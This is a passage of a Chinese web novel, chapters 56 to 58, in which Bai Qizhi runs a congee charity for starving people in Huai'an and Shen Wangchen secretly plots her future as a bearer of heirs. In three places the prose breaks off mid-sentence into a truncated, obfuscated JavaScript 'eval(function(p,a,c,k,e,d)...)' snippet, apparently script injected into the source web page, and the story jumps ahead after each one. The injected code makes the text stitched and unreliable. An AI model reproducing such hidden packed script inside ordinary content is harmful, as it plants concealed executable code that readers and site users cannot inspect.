说完，她默了默又道：“当然，若是咱们赌输了，那便要损失咱们这几日所有的心血，所以我才不敢擅自做主，想同诸位商量。” “现如今，香玉坊只有这一条出路，赢便是赢，输便是输，枝枝还是想听听诸位怎么想？” 说完，她抬眸扫视了一圈众人的神情。 柜台旁，人人皆默然。 气氛越发凝重，整个世界静得发若针落可闻，唯有白栖枝手中端着的那盏茶水轻轻晃动，发出水旋杯壁的声响。 白栖枝抬手将杯中仅剩的那点茶水一仰而尽，见还未有人出声，她开口。 “东家。” 众人相互对视一眼，都不约而同地将目光投到她身上，异口同声道—— “我们，任凭东家差遣！” 事情总是要一点点准备的。 白栖枝将各个任务逐一拆解吩咐下去：莫当时、紫玉嘴皮子好，这件事便由他们传到淮安境内的每个大街小巷，顺便合计一下约么会有多少人前来领粥；李掌柜最善谈生意，所以搭建粥棚和熬粥所需要的物件食材便由她前去采买，准不会有错；莫伯力气大又不善言辞，那搭建粥棚的相关事宜便交给他，若是缺人，便去市场上雇人来做，总不能累着他。 可这样仍是缺人手。 白栖枝想了想，一咬牙，干脆将春花拉来一起做事。 春花一开始还略有推脱，但看着白栖枝那副可怜巴巴的模样，她便将所有推脱的话都哽在喉头了，更何况白栖枝开的价不错，她的卖身契又在她手中，由是，春花便就这样轻而易举地被白栖枝拉来做事了。 面对着曾与之发生过口角的人，春花、紫玉说不尴尬是假的，两人面对面的站着甚至不敢看彼此一眼，好在有白栖枝在中间调和，两人也不至于太过尴尬，互相行了个礼就算是见过。 可只有春花一个人是不够的，熬粥是个大活儿，还得再请些人手来。 白栖枝第一个想到的便是在林家灶房做事的芍药，但芍药说需得先经由大爷同意她才能出林府。 于是白栖枝又“哒哒哒”地跑到林听澜面前去“求”他将芍药借给自己一用，至于做什么，她没说。 林听澜一开始是不同意的，直到白栖枝每天晚上都跟小尾巴似得跟在他后面求他，他被搅的烦了，一个恼火上头便应承下来，还给她写了字条，让她去拿给芍药看，少来烦他。 如今芍药阿姊是到手了，可是还不够。 白栖枝又去请年前帮过她的那位茶摊老板，和她的义妹，那位曾招待过她与林听澜的那位开面摊的面摊老板。 一开始两人还推脱，说他们两个女人家未必能帮上什么忙，就算能帮，被其他人瞧见了，还说她们闲的没事干，存了不正经的心思，想胡乱攀扯上林家。 “可是难道一直如此，便是一直对的么？” 此话一出，面摊老板先是一愣，随即爽朗地笑了。 她推了推茶摊老板，笑道：“攀扯就攀扯吧，若是能攀扯上林家，咱俩倒还不用出来摆摊子受人为难嘞。” 听完这话，白栖枝也是笑。 此时此刻她终于知道，原来面摊老板当时头口而出的那句并不是在与客人调笑，明明她不甘只被客人们一口一个地叫“老板娘”嘛！ 人手现在是差不多了，事情也在有条不紊地准备着，只待他们聚在一起选定的那个几欲把他们眼睛挑花了的那个良辰吉日到，一切就可以按计划进行了。 当然，白栖枝这事儿敢瞒着林听澜偷偷准备，却不敢瞒着沈忘尘。 由是在每天一次的坊内述职中，白栖枝一点无所瞒地将事情同沈忘尘和盘托出，然后等着他的训斥。 毕竟这事儿是她在一切都准备完才同他说的，白栖枝早已做好了挨训的准备，但在听完这些，沈忘尘只沉吟片刻便又恢复了往日温和的笑容，同她道：“枝枝此番想法甚是不错，虽有失败的可能，却不尝为一次值得的尝试，沈哥哥又有什么好怪罪枝枝的呢？” 白栖枝没想到他会这么轻描淡写地就将她的过错揭过。 她错愕，抬头，就正对上沈忘尘那双茶雾般温柔得能掐出水儿的眸子。 后者看着跪在地上的她低首浅笑：“地上凉，枝枝快起来，不要伤了身体才好。” 白栖枝应声而起。 只见沈忘尘又做出了那个她再熟悉不过的手势道：“枝枝，坐。” 白栖枝仍没有忘记李素染对她说过的那句话，但看着面前人温柔得宛若她娘亲的模样，她纠结了片刻便放弃抵抗。 白栖枝坐到沈忘尘的面前，就看着他抬手，摸了摸自己的发顶轻声道：“枝枝一个人辛苦了呀……” 一时间，一股委屈涌上心头。 如同她刚来林府的那时一样，她总是想独自一人吞下所有后果，以至于有些事，就算看似众人在一起参与，其实也是她独自一人谋划了好久的结果，这样成也是她，败也是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老郎中悠悠说道，“白小姐仅是脾胃虚弱，运化失常，气血生化乏源，冲任二脉失养，血海不能按时满溢，故致天癸迟至，其育嗣之功，未有亏缺，还请公子安心。” 这下子，沈忘尘的心彻底落到了实处，连带着僵硬的身子也软回了堆叠的软垫之中。 “如此便好，如此便好……”他喃喃着，转而，又看向那位老郎中，嘴角嗜着一抹笑，“那便多谢老医师了，今日这事，还请您不要让她知晓，不然只怕她会多心。” “那是自然。”老郎中不知他心内所想，便笑着拱手应道，“此事本就是私事，难为沈公子如此关切幼妹，实在是令人感动啊。” 幼妹么？ 沈忘尘一阵失神，忽而又释然地笑了，目光柔和。 是啊，是幼妹呢。 她还如此小，甚至连身子都没长成，如今又寄养在他名下，在外人眼里他与她可不就是兄妹？ 只可惜，到底不是亲兄妹。 回过神，沈忘尘同老郎中拜别，待那人走至不见，他才又回过神来，垂眸看着自己的身体，抬手，像是透过自己的身体要触碰到什么，迟疑地摸了摸自己的小腹。 男子的小腹扁平，完全不是能孕育生灵的样子。 就算能生，他如今这幅破败身子，恐怕不满足月就得一尸两命，更何况他从未想生。 约么就这样摸了几下，沈忘尘终于停住。 他看着自己那只瘫软无力的手，长叹了口气，眸中半是不忍，半是怜惜地开口： “枝枝啊……” 烛火摇曳间，这句下意识地呢喃，随着烛光伸入长夜，却只停留了片刻便随风而逝。 ——枝枝啊 …… 56. 施粥 大家几乎是连轴转了三天，才在第四天早将粥棚支棱起来。 天不亮，那些前来盛粥的队伍早早地来排队。 那些人神色各异，有怀疑试试真假的的，有来凑热闹、占便宜的，也有的真的饿得神情呆滞、面黄肌瘦，所有人都拎着个碗，长长的队伍自香玉坊排到了北名大街上，那场景，远远看哪去还以为淮安城凭空多了坐大山呢！ 大家都静默地等着，直到不知是谁高喊了句：“小白老板来了。” 众人回头望，白栖枝就披了件纯白大氅穿梭于这座被人搭建起来的连绵起伏的青山之间，后头拥着六个人，有男有女，一看便是这香玉坊里的伙计。 在他们之后，又有林家的伙计前来将轴桶抬到粥棚里头。 白栖枝将上头的木盖一掀，滚滚热气自桶内蒸腾而出，有雪片从棚外不小心飘了起来，遇到这片团团热气，立即化作水滴点在地上，犹如上天垂下的泪点。 在大家的注视下，白栖枝拿了木匕在桶内轻轻搅和着，随即舀了一匕高高举起又倒回桶中让众人看稀稠。 ——这边是要开始施粥了。 众人见了立刻捧碗争先恐后地上前等待着这位好心人的施舍。 他们一个接一个地挤着，摩肩接踵，甚至有身形瘦弱的人被挤了出去，推搡跌倒在地，身上沾了雪，却又为了这一口吃得连倒吸口气的时间都没有，又赶紧站起来，就这样带着一身雪地往人堆里扎，生怕就轮不到自己了。 可哪里会轮不到呢？ 白栖枝在这儿发，芍药和茶摊、面摊两姐妹就在后头熬，一时间香玉坊前后全有白蒙蒙的雾气缭绕，搞得他们这儿不是什么胭脂铺子，倒像是天上的宫殿了。 “大家都排好队，不要挤，都排好！否则我们就一直等，等你们什么时候排好了，我们再发！” 春花这一嗓子到底还是有林家人的威严在，听她如此喊，众人便赶紧一个接一个地好好排队，谁也不敢再挤，谁也不敢再让别人去挤。 队伍整齐地排排着，排在第一位的是个瘸腿的独眼老翁。 按理说这样的人本不可能抢在最前头的，可他自昨日香玉坊打烊前就在这里等着了，晚上又是躺在坊前的石界上睡的，只为了今天能喝上一口热乎乎的粥——他已经一个月没吃过一口热乎乎的饭了。 “谢谢小白老板，谢谢小白老板！”老翁带着一脸小心翼翼地讨好的笑容，颤颤巍巍地将自己缺了口的破瓷碗，递到白栖枝面前，冻得红肿生冻疮的手甚至还在止不住地颤抖。 “不应该谢我。”白栖枝双手握匕，将一勺粘稠的粥液尽可能多地舀到老翁碗中，温声道，“应该谢林大爷。” 滚烫的粥倒入瓷碗，连带着整个碗也变得烫手起来。 老翁在雪里冻了一夜，手都冻僵了，此刻骤然摸到如此温度，第一个感觉到的不是暖，是疼。 几乎能把他烧伤的疼！ 可就算如此，他那双捧着破碗的手却仍不敢松开一丝力道，依旧紧紧地扣着碗边，连拇指陷进了粥里都不知道。 “多谢林大爷、多谢林大爷！”粥液落入碗的一刹那，他那双浑浊昏黄的眼睛里竟涌出两滴老泪，他没有收回一只手来擦，只是一直喃喃着“多谢林大爷”，随即捧着碗，一瘸一拐地走了。 第二个来盛粥的是一个浑身打满了烂布补丁的贫苦妇人，她身旁还站了两个饿得面黄肌瘦，几欲成骷髅状的小孩子。 两个孩子太小，看不出是男是女，一左一右地躲在母亲身后，用脏兮兮的小手扯着母亲的裙角，一双水葡萄似得大眼睛怯生生地盯着白栖枝看，眼中半是恐惧半是好奇。 对上两人的目光，白栖枝只是笑。 她用为妇人舀了一勺粥，用一种轻到几乎不会为第三人所听到的音量偷偷对她道：“再去队伍后面排着吧，就当是为了两个孩子。” 妇人听后先是一愣，随即眼里涌出泪花，但她不敢让孩子瞧见，只能咬牙忍泪，从牙缝里溢出字来：“谢谢林老板，谢谢林老板，谢谢林老板！” “哎呀有完没完，写两句就得了，搁这儿浪费时间，你不嫌麻烦我还嫌麻烦呢！” 妇人捧碗离去，出现在她身后的，是另一张妇人的脸。 这位夫人脸上有肉，双目有神，身上的衣裳虽不是什么丝绸，却不差，一看就是可以温饱的人家。 这边就是来凑热闹的了。 白栖枝没说什么，只是垂下眼帘抿唇也给她舀了一碗。 看着碗里的粥，这妇人顿时一副气恼模样，一手叉着腰，一手将粥猛地端到白栖枝面前，大声质问道：“凭什么给我舀的没有给她多！你这是偏心！” 一旁的紫玉见有人来找茬，甚至没给春花开口的机会，当即叉腰指着她鼻子骂道：“我们东家给人称的分量都是一样的，眼睛不好就滚去看郎中，少在我们这儿叽叽歪歪！这粥你爱喝喝不喝赶紧走，还嫌弃别人耽误时间呢你，没有镜子总有尿吧！” 她连珠炮似得话语一砸，妇人当即气得面红耳赤，后头传来不耐烦催促声，她愤愤将手中的粥端起来猛地一喝。 “哎呀！”随着一声惊呼，一枚细小的石子从她嘴里吐了出来，“这粥怎么还有石头啊！算了！这粥你们谁爱喝谁喝吧！老娘不喝了！” 说完，她将碗中的粥猛地泼到路旁的积雪上！ “粥！有粥！有粥喝了！有粥喝了！哈哈哈哈哈哈！有粥喝咯！” 话音未落，队伍里突然跑出了个疯疯癫癫的男人来，他不顾妇人嫌弃的目光，猛地扑到那滩融着雪水的粥液前，竟不顾脏，直接用手抓着吃了起来！ “嗨呀！从哪里来的疯子，吓死人了！”妇人嫌弃的皱眉，看着手里的碗，总觉得连带这碗都不干净了，干脆往地上一扔，张扬而去。 “粥！粥！有粥！”男子还自顾自地挖着雪水吃。 白栖枝见了于心不忍，蹙着眉头想要上前，却一把被李素染拉住。 “东家你不知道。”李素染低声谨慎道，“这人原本是誉王爷家里的学谕，后来誉王爷参与皇嗣之争，被陛下赐死，连带着与他相关的那些人都被砍了，而他因为与花太傅之子花尚书生前关系不错，陛下看在花尚书的面子上才没有将他一并砍头，但是就算没死，人也疯了，这几年一直在淮南内漫无目的地走来走去，平时只靠捡点烂菜叶子过活，还经常被小孩子扔石头，别说多可怜了——不过东家你别看他可怜就心疼他，到底是掺和过宫里事儿的人，咱们还是少沾染为好，免得惹火上身……哎！东家！” 不顾李素染的劝阻，白栖枝还是上前，将那妇人扔进雪地里的碗捡起来，盛了碗热粥，走到他面前缓缓蹲下。 “先生请用。” 少女的话如同三月里的春风，暖暖地，拂过耳畔。那男人忽地停住动作，抬头朝她看，却又像看到了什么人似的，当即愣在原地，口中喃喃有声。 “白大人……白翰林！白翰林！！” 他忽地大叫，伏在地上痛哭流涕道：“白翰林！是您！是您么！白翰林，昔日漯水六月清池亭内，你、我、路兄，以及花尚书，我们可是同窗啊！后来你做了翰林，他做了尚书，我则去了誉王府做了学谕，难不成您都不记得了么！我是、我是！不对！我不是！我不是！白翰林！白兄！” 男人状若疯癫，凄厉的呼声声声泣血。 他说完，长长仰天急促地倒吸一口冷气，伸手就要朝白栖枝抓去。 好在白栖枝反应极快，往后一躲。 男人顿时抓了个空，伸出的手僵在半空，只握住了一团冰冷的空气。 “先生认错了。”白栖枝看着男人错愕凄凉的神情，心中一痛，几乎是忍不让自己落泪，冷冷道，“我乃淮安林家林听澜的远房表妹，不认识什么白翰林，先生拿了粥就走吧，不要在此滋事。” 说完，她将粥碗俯身放到男人面前。 滚滚热气灼湿了男人的眼，他抬头，透过朦胧泪眼静静看着白栖枝，不可置信地喃喃道：“不对，你不是白翰林……你是！你是！”后头就是些含混不清的疯话了。 白栖枝理都没压力他，仍旧为众人施粥，甚至没有再施舍给他一个眼神。 男人在雪里跪了许久，浑浊的眼渐渐有了一丝清明。 他起身，捡起面前的碗，看向白栖枝，忽地躬身行了个大礼：“在下，多谢林小姐了。” 林小姐……嗯，应当是这样吧。白栖枝在心里喃喃道。 因知道粥里有石子砂砾，原本排队的人忽地少了一半，剩下还愿意来的，要么就是真的想占便宜，要么就是真的穷困潦倒。 白栖枝一微微地施粥，一句句道“慢走”，直到有一对兄妹从长远的队伍里猛地被推出。 有人大喝道：“没有碗就快走，我又没多余的碗给你，求我也没用！” 白栖枝抬头看去，只见那男孩一个挨一个地求，又被一下一下地推走，他在雪里跌倒了一次又一次，却还是又一次次地被妹妹扶了起来，带着身后年纪小到甚至连路都走不稳的妹妹，，一个又一个地哀求着，两个空荡荡袖管被风吹得微微晃动，竟是个没胳膊的！ “东家？”木匕被递到手中，李素染不解。 白栖枝道：“阿姊你先走，我去看看怎么回事。” 李素染知道她是个心软的，上一个是个疯子她都管了，面对这一对年幼的兄妹被人欺负，她又岂会置之不理？ 男孩又被推倒在雪里，一旁的妹妹见了，赶紧蹲下扶着他奋力将他推了起来，男孩欣慰地看着的后脑勺，刚要继续往前求，忽地听到远处传来一声唤：“好孩子，过来。” 两人回头，就见着原本给众人施粥的好心老板正弯下腰，一手扶着微曲的膝盖一手朝他们招了招。 “好孩子，过来。” 兄妹迟疑了一下，四目相对，却还是怯生生地朝那位看起来没有大他们多少岁的小老板走去。 白栖枝笑着看向这一对兄妹：大的看起来七岁，小的看起来也不过三四岁，两人破衣烂衫，唯独一双眼睛水灵灵、亮汪汪的，一看就是还没被世上的污秽污染过，纯净得怕人。 还是小男孩迟疑了一会儿，朝她喃喃道：“贵人姐姐……”话还没说完，他肚子就发出“咕噜”好大一声响，羞得他赶紧捂住肚子不敢再说话。 白栖枝放软了语气：“怎么只有你们两个？你们爹娘呢？” “我们没有爹。”小男孩淡淡道，“我们的娘也早就饿死了，我们是两个孤儿，从北边一路逃荒过来的。”说完，他咬了咬唇，不确定地小声问道，“贵人姐姐，我们没有碗，我们也可以喝粥么？” “当然可以，只是……”白栖枝回头看了看。 粥棚里没有碗，坊里也没有。 大家吃饭都在外面，坊内没有吃饭的地方，就连粥都是在坊内的后院找了个雪少的地方支着锅再煮。 他们也没有多余的碗了…… 男孩顺着白栖枝的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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泪水怎么也擦不完，小妹妹有些着急，在白栖枝的脸上轻柔地胡乱涂抹，自己也急得落下泪来，像是在心疼她。 原本站在一旁的小男孩见自家妹妹如此冲撞贵人，急忙喝止住她：“小默！不可以！” 小妹妹被吓了一跳，赶紧收回手，快速地喝着粥，差点把自己呛到，随即沉默地后退，又躲在哥哥身后怯生生地看着白栖枝，一双大眼睛中却多了几分笑意。 小男孩才上前不好意思地道谢道：“对不住，贵人姐姐，小默她是哑巴，不会道谢，我们这就走。” “等一等。”白栖枝叫住他，低首浅笑道，“妹妹喝完了，难道你就不饿了么？”说完，她转身又捧着手朝李素染伸去。 看着她被烫得破破烂烂的手，李素染咬着牙让自己不哭，又舀了一勺给她。 “喝吧。”白栖枝蹲下身子莞尔一笑，“喝饱了，就可以活下去了。” 男孩忍着泪将她手中的粥液一点点喝掉。 因为是二次烫伤，白栖枝的手出了血，鲜血混在白粥里，说不出的红艳腥甜。 小男孩实在是忍不住，抬起头，眼圈猩红道：“贵人姐姐，你为什么……为什么会对我们这么好？” 白栖枝墨澈双眼里温柔的笑意愈发浓重。 她轻声答道：“因为姐姐也是从你们这个时候过来的呀……” 是啊，从长平到淮安，她也是这样过来的啊，一个人翻山越岭，饿得发疯时，她甚至去透过别人家里的狗饭。 如果那时候也能有这样一个人给她一碗热乎乎的粥就好了…… 此番施粥，除却为了香玉坊的名声，白栖枝还有一个私心在—— 她想像父亲那样做个好人。 是啊，多么幼稚的想法啊，做个好人……世上又岂会缺她一个好人？ 可白栖枝就是这样的人，她知道这世上不缺她一个好人，可是万一呢？万一真的缺了她一个怎么办？万一就是缺了她这一个这个世道才会变得更糟糕怎么办？ 白栖枝收回手，看着这一对朝她跪地叩拜的小兄妹，脑海里只回荡着三个字—— 万一呢？ 待到那两人离开，白栖枝又装作若无其事地擦了擦手，想要接过李素染手中木匕继续施粥。 突然！ 一阵刀绞似得痛从白栖枝小腹传来，她蹲在木桶后，双手死死地掐着自己小腹。 手上的裸露出的血肉狠狠抵在布料上，痛得鲜血淋漓。 一时间就连白栖枝都不知道究竟是自己的小腹更痛，还是自己的手更痛。 “东家！”“小姐！” 两道呼声猛地传来，春花和紫玉蹲在她面前，一个比一个地关切地扶着她，生怕她会晕倒在这里，亦或是不小心打翻木桶被烫伤。 面对两人关切的话语，白栖枝已经听不太清了。 她痛得面色惨白，额际冷汗涔涔，两手死死掐着自己的小腹，整个人仿佛被丢尽了冰窟窿里，却还咬着唇死忍着，不敢痛呼出声。 不多时，一股鲜红从她裙下蜿蜒而出。 是的，她初潮了。 她来月事了。 仿佛是上天怜惜，在为那两个孩子捧粥后，原本还是个孩子般的她，竟在这一瞬间，突兀地长成了一个成熟的姑娘了。 嗯，成熟。 ——瓜熟蒂落。 …… 57. 别怪我 事情只用一个下午就传遍了淮安的大街小巷，人们不止记得她为乞儿赤手捧粥，也记住了她当时落下的那一滴泪。 ——观音垂泪。 人们总是喜欢用这四个字来形容当时的场景，因为除了救苦救厄观世音菩萨，他们再找不出任何一位神明能露出这般慈祥悲悯的面容。 有人说，她这样，倒是让人联想到了昔日长平白翰林家的小千金。 可她姓“林”——因着是林听澜的远房表亲，所以人们自以为然地认为她也该与林听澜同样姓林。 林栖枝。 这个独属于淮安林家的名字在淮安境内传开，几乎要抹杀掉有关于“白栖枝”的一切过往。 是啊，在淮安，姓白有什么用呢？这姓又不是什么稀罕姓，在淮安境内能有两三家，可是姓林就不一样了。 姓林，人们就总会以为你和淮安林家能攀扯上什么关系——只有姓林，才能在淮安内站稳脚跟。 就这样，林听澜还是林听澜，白栖枝却变成了林栖枝。 然而此时此刻，独处于事件中心的主人公却仍未对此事知晓分毫，还在林府内好生修养着。 甚至就在沈忘尘的面前！ 一切发生得令人措手不及。 得知昔日稚嫩瘦小的小姑娘现如今已成熟到足以孕育下一个稚嫩的小生命时，沈忘尘第一个反应不是欣喜而是茫然。 太快了，他在内心深处喃喃感叹道。 甚至就连他自己眼下也没有做好让白栖枝在今后为林听澜诞下子嗣的准备。 沈忘尘盯着白栖枝那被汤婆子暖妥帖的平坦小腹已失神地望了半晌。 “沈哥哥？” “啊。”被她这么一唤，沈忘尘这才缓缓回过神来，将视线又放回到她缓和了些血色的脸上，关切问道，“还痛么……” 他太关心这件事了，以至于在发问时，连带着右手也迫不及待地抬起，想要摸一摸她的肚子。 好在他细弱伶仃的手腕锁不住整个手掌，他刚一抬起，就引发手部一阵痉挛，迫使他将这只抬了一指高的右手又温吞地放下。 白栖枝也在想着这件事，以至于沈忘尘问的时候，她才骤然回过神看他，旋即又垂眸温声答道：“已经不痛了。” 本就是不该痛的。 之所以方才在粥棚痛得撕心裂肺，一方面是她今日作息不规律导致那处紊乱，再一方面就是她在初潮来临之前在雪地里站了太久，受了风，那处含量，这才引发小腹坠痛，如今被灌得热乎的汤婆子一暖，已经无甚感觉了。 说起来有些好笑，在看到血迹的一刹那，白栖枝几乎以为自己是得了绝症已经要死了——甚至她在还隐隐期待着死后同家人在天上相聚的场面。 只可惜不是，她只是初潮。 回来的路上，是紫玉把她扶了回来，春花则急急忙忙的跑去为她买月信袋子，之前那般不对付的两个人此刻都急吼吼地围着她殷切关照，倒让她又多生出几分除了为家族昭雪外，还能让在世间苟活下去的念头。 更何况…… 她抬眼看向沈忘尘，后者紧皱眉头，一副担忧关切的神情，倒让她体会出几分只有家人间才有的温暖来。 白栖枝虽然眷恋此刻温存，可一想到香玉坊那边只有李掌柜他们几个在，终究还是不放心：“沈哥哥……”她起身垂眸道，“粥棚那边还需我去坐镇，若沈哥哥无事，栖枝就去忙了。” “等一下。”她骤然换了自称，沈忘尘一时间还有些不习惯。 他抿了抿唇，静默了半晌，缓缓叹了口气，舒展开紧皱的眉头又换作了平时的温润笑颜，眼底竟带了些不常见的留恋不舍。 “不急的……”他说，“不急的。” ——再这样多待片刻吧，日后未必还会有这般好的光景了。 白栖枝不知道他在不舍什么，她总是猜不透沈忘尘的心思。 但既然他如此挽留，她也只好默默点了点头，又坐回榻上，用自己那双几乎清澈见底的杏眸地看着他。 沈忘尘甚至不敢对上她的眼。 他心虚地低头，又吐了口浊气，同空荡荡的屋内道了句：“进来吧。” 下一秒，几位端着托盘的侍女鱼贯而入。 她们每个人手里都端着女子来月事时需要滋补的药膳，在这些盘盘碟碟中，白栖枝甚至看到了一颗百年老参。 “沈哥哥，这是……”白栖枝受宠若惊地看向沈忘尘，后者只是看着她笑，倒叫她隐隐有几分毛骨悚然，就好像沈忘尘早知道她今日会来月事一样。 “这些啊……”沈忘尘温声解释道，“方才枝枝还未回府时就有小厮赶过来同我通报了，只可惜沈哥哥到底是个男儿身，帮不得枝枝什么忙，就紧着让丫鬟们去药房购置了些进补的药材。” 说到这儿，见白栖枝还未完全卸下心防，沈忘尘又补道：“虽然沈哥哥是个男儿，却也曾在书上知晓过这事的厉害，毕竟枝枝还是第一次，倘若因时未好好保养落下病根，可就不好了。”若因此事无法受孕，那可就不好了。 他好歹与这个孩子朝夕相伴三月有余，说不疼爱怜惜她是假的，他在心底早就把她当做自己的幼妹来呵护关心了。 ——可她到底不是她的幼妹。 没有人比沈忘尘更清楚他对待面前这个可怜的小姑娘是怀着怎样的心绪。 同林听澜一样，他怜她，也惧她。 她实在是太聪慧勇敢了。 从前他听林听澜说她聪慧伶俐时他或许还会看轻她，可经过这几个月的相伴之后，他比林听澜更认识到她的天资聪颖。 凡是他交给她的东西，她只是听过一次便能记得清清楚楚，从未问过二遍；甚至有些书就连他都只能记得个大概，她却能下意识为他补充上所有细节，与书本上所述的文字分毫不差。就连她的那些小手段，也是试着按他此前曾无意间闲聊出的一两句而设计的，虽幼稚，却也不尝为人生中一次好的尝试——毕竟又有谁敢只凭着一句无意的话就敢放手去做呢？ 如果只是记性好便也罢了，偏她又是个知情识趣、心思干净的，只是闲聊几句，她便能摸清府内上下所有人的性格喜好，甚至还会想着办法为他们准备生辰礼讨他们欢心。 礼物虽不贵重，但对于那些个下人们，有主子能记得他们的生辰已是天大的恩赐，又有几个会在意送过来的生辰礼是否贵重呢？ 有的时候，沈忘尘甚至怀疑白栖枝是不是有意在拉拢府内下人，可每当他看到她那双纤尘不染的眼——尤其是那双眼因为心疼他的腿而满含热泪时，他就不得不承认，世上竟真有人能温良至此，倒显得他越发龌龊不堪了。 况且，他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他到底做错了什么才叫老天爷使他从云端骤然跌至烂泥堆里，令他满身泥泞、狼狈不堪？ 苍天何薄于他！ 所以他在遇到白栖枝，在看到她一点点展露出锋芒时，他才会如此兴奋。 因为这孩子、这孩子岂止只能当那孩子的阿娘？她甚至可以代替曾经那个风流恣意的他活下去，他甚至可以在她身上找到自己当年的影子！ 所以还请不要怪他，毕竟这世间又有几人能经得住这般不可复回的诱惑呢？ 想着，沈忘尘那双平日里淡如茶雾的琥珀色眼眸中渐渐生出一抹狠辣与癫狂。 妄念如灼灼火焰般烧过四肢百骸，连带着他的清浅呼吸都跟着灼热起来，他想忍，却怎么也忍不住。 对不住啊，枝枝。他在心里默念道。别怪沈哥哥，明明沈哥哥也不想的，明明是我也不想的。 可是！ ——谁让你托生成了女儿家？！ ——谁让你与他自幼便有婚约在？！ ——谁让你奉命来投靠林家？！ 如果这不是上天的旨意，你又岂会落我的手里？ 所以啊，别怪沈哥哥心狠，若不是命如此，沈哥哥也是不想的。 对不住啊，枝枝。 别怪我。 …… 58. 小狗 到底还是放不下。 当着沈忘尘的面，白栖枝用她那双被包扎好的烫伤的手，捧起那碗黑漆漆的浓苦药膳一饮而尽后，又连着一口气喝了两大碗红糖姜枣茶，才起身一礼，同沈忘尘匆匆别过。 随即才转身掀帘离开，朝着香玉坊那处急急地赶，甚至陪同的春花在出林府前劝了好几次都没劝住，她是铁了心的要回到香玉坊和大家一起同甘共苦。 “我得去呢，在大家都在努力的时候，独我这个东家躲在家里享清闲，到底不合适。” 知道她是个凡事都要亲力亲为的主儿，春花没敢再拦，而是匆匆迈着小碎步跟在她身后，抱怨道：“您合不合适我是不知道，反正一会儿我肯定是挨骂没跑。” 白栖枝登时就笑了，同她打趣道：“谁敢骂我们如此厉害的春花姐呢？” 春花被她笑得面颊发红，娇嗔了一句“讨厌”，也同她一起痴痴地笑了起来。 短短的四个月如同一场梦。 她原本是个将沈公子与大爷视若神明，恨不得一天连轴转地侍奉在他俩身侧的人，如今听闻白栖枝需要她，竟想都没想就抛弃那两位主子同她出来了，这要是放在以前，她肯定是连想都不会想！ 可她偏巧就出来了，不仅出来了，还想要以后一直、一直、一直跟着她这位聪慧善良的小姐一起闯、一起做。 她早就是她的人了！ 如是想着，春花脸上漾着笑，笑眯眯地用余光看着急吼吼走在前头的白栖枝，只觉得自己整个身子都轻盈了不少，连忙快步跟上去，口中忙不迭地关切道：“慢点、慢点……” 白栖枝哪里是慢得下来的性子？ 不过多时，她就又顺着长长的队伍回到粥棚，同坊内的大家一起施粥。 见她来，大家皆是一惊，随即略带埋怨地看向春花。 春花无奈将手一摊：要怪我喔？ 虽然仍担心白栖枝的身体，但真见她回来，大家心里的大石头反而落了地。 “我来吧。”见李素染面露疲态，白栖枝伸手想要接过木匕，却被前者生生躲开。 “这可不成！”　李素染大惊小怪道，“你手还没好呢，哪里能让你来干这活儿，左右我还不累，就让我接着干吧。” 说完，她抬袖抹了把被热粥水汽蒸出的汗，脸上一扫方才的疲态，声音响亮道：“下一个！” 白栖枝只怕她是在逞强，忍不住蹙起眉头，开口想要说什么。 “就让掌柜的做吧。”一旁的莫当时不知何时走到她身边，毫不见外地拉着白栖枝的胳膊想把她拽到一边，就听得春花一声大呵道，“喂！我们家小姐岂是你这种浪荡子可以碰的？！” 春花对莫当时的初印象并不好。 这人长得油头粉面，一副浪荡小生的模样，一看就是个私下里玩的花的。 她不愿让白栖枝同他走得太近，刚要去把白栖枝拉回来，就见着莫当时猛地将人朝自己一拽，不甘道：“她是你家小姐，还是我们家香玉坊的东家呢！我们香玉坊就这个传统，不爽？忍着吧你！” 莫当时对春花的印象也不好。 那日紫玉从林家回来后便总是喜欢出神，在他的死缠烂打下，那人这才将进林家后的经过通通跟她说了个遍。 莫当时当时不仅震惊于白栖枝的见识勇气，同样也记住了难为紫玉的春花。 虽然吧，紫玉这人嘴毒、脾气不好、一点就炸、还总是喜欢对着那些俊公子犯花痴，但两人到底一起共事这么多年，也算是没有血缘的家人了。 家人被欺负，莫当时肯定是第一个不能忍的。 由是如今见了春花，两人是仇人相见分外眼红，一个顶着一个，谁都不肯相让半步。 还是白栖枝在中间打着哈哈，两人才相对不屑地“哼”了一声，抱臂扭头，纷纷不去看对方。 把春花气去了后院，莫当时又拉着白栖枝的小胳膊，俯身竖起手掌挡住嘴巴，同她窃窃私语道：“哎呀东家，我知道你心疼掌柜的，我们当然也心疼她呀，可是呢——”他顿了顿，似乎想卖个关子，但到底管不住自己这张破嘴，自己又赶着给前头的话解释道，“但是呢，掌柜的就是喜欢做这个，我们几次想接她这活儿她都不干呢，您知道这是为什么么？” “为……” “其实就是掌柜的喜欢做这个！”莫当时根本不给白栖枝说话的时间，又自顾自地答道，“掌柜的她啊，在当年可是咱们香玉坊出了名的售货娘子呢。出名到什么地步？可以说咱香玉坊里八成的业绩都是她一个人拉来的，厉害吧？” 